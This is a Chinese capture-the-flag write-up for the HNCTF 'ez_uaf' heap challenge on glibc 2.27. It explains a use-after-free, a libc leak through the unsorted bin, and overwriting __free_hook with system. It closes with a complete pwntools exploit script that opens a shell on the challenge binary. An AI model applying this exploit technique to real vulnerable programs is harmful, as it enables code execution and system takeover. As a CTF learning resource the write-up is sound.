(HNCTF)ez_uaf复现

关于题目

Ubuntu GLIBC 2.27-3ubuntu1.6

题目文件

漏洞点分析

UAF

delete函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

puts("Input your idx:");
v0 = getnum();
if ( v0 <= 0xF && *((_DWORD *)(&heaplist)[v0] + 7) )
{
free((&heaplist)[v0][2]);
free((&heaplist)[v0]);
*((_DWORD *)(&heaplist)[v0] + 7) = 0;
}
else
{
puts("Error idx!");
}
}

其中*((_DWORD *)(&heaplist)[v0] + 7)只在delete()函数处有判断,show, edit函数仍接受被delete的note。显然构成UAF。

分析其中结构体,&heaplist为bss段存储控制块的数组,即_QWORD*类型。控制块为malloc(0x20)后得到的堆块,结构如下:

1
2
3
4
5
6
7
8
0x00-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Note Name |
| |
0x10-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Pointer to note's content chunk |
0x18-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Note Size | Note isInUse |
0x20-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

利用

  1. 泄露libc

先申请一个0x420大小的大堆块chunk0,然后再申请一个堆块chunk1将大堆块与top chunk分隔开,释放大堆块使其进入unsorted bin。此时原先大堆块内容的部分就会变成fd指针。因为之前没有进行过释放操作,unsorted bin中没有其他chunk,因此fd指针指向main_arena内部。此时对释放掉的大堆块调用show,可泄露fd指针,从而计算出libc地址。

在泄露后,重新申请0x420大堆块chunk2,避免之后申请的堆块直接从释放后的chunk0中切割。

  1. 利用UAF实现任意地址写

申请两个不为0x20大小(即大小范围不在0x19-0x20范围内)的堆块chunk3, chunk4。因为delete note时会同时释放内容块和控制块,控制块大小为0x20,直接进入tcache bin。只要在连续delete两个note后(即释放了两个控制块)再add 0x20大小的note,之前释放的两个0x20堆块就会变为新note的控制块和内容块。所以依次释放chunk4, chunk3,再申请0x20大小的chunk5。此时chunk5的控制块为chunk3的控制块,内容块为chunk4的控制块。只要构造伪造的控制块写入chunk5,即可改变chunk4的内容块指针,实现任意地址写。

  1. 劫持free_hook

构造伪造的控制块:

1
payload=b'a'*0x10+p64(libc.sym['__free_hook']-8)+p32(0x40)+p32(1)

payload中四部分分别为控制块结构体的四部分(见上),需要注意几点:从free_hook-8部分开始覆盖是为了在一次覆盖内,同时写入binsh字符串和覆盖free_hook为system;size部分给至少0x10,因为需要覆盖0x10字节内容;最后的p32(1)是设置chunk4为InUse,使接下来可以被delete

然后向chunk4中写入b'/bin/sh\x00'+p64(libc.sym['system']),即覆盖free_hook-8位置为binsh字符串,覆盖free_hook为system

  1. getshell

显然只需要delete chunk4即可,相当于:

1
free((char*)(&heaplist)[4]+0x10);

参数部分指针指向free_hook-8,即binsh字符串,而free函数则被劫持为system函数,实现getshell

参考exp:

(根据官方wp略有改动,官方wp地址,官方exp作者为l1s00t师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context(os='linux',arch='amd64',log_level='debug')
fn = './ez_uaf'
elf = ELF(fn)
libc = ELF('./libc-2.27.so')
p=process(fn)

def menu(index):
p.sendlineafter('Choice: ', str(index))

def add(size, name, content):
menu(1)
p.sendlineafter('Size:', str(size))
p.sendafter('Name: ', name)
p.sendafter('Content:', content)

def show(index):
menu(3)
p.sendlineafter('your idx:', str(index))

def edit(index, content):
menu(4)
p.sendlineafter('Input your idx:', str(index))
p.send(content)

def delete(index):
menu(2)
p.sendlineafter('Input your idx:', str(index))

add(0x420, 'l1s00t', 'l1s00t') # 0
add(0x60, 'l1s00t', 'l1s00t') # 1

delete(0)
show(0)

malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(0x8, b'\x00')) - 96 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
libc.address = libc_base
log.success('libc_base: ' + hex(libc_base))

free_hook = libc.sym['__free_hook']
system = libc.sym['system']
log.success('system: ' + hex(system))

add(0x420, 'l1s00t', 'l1s00t') # 2
add(0x40, 'l1s00t', 'l1s00t') # 3
add(0x40, 'l1s00t', 'l1s00t') # 4

delete(4)
delete(3)

payload = p64(0) * 2 + p64(free_hook - 8) + p32(0x40) + p32(1)
add(0x20, 'l1s00t', payload) # 5

edit(4, b'/bin/sh\x00' + p64(system))

delete(4)

p.interactive()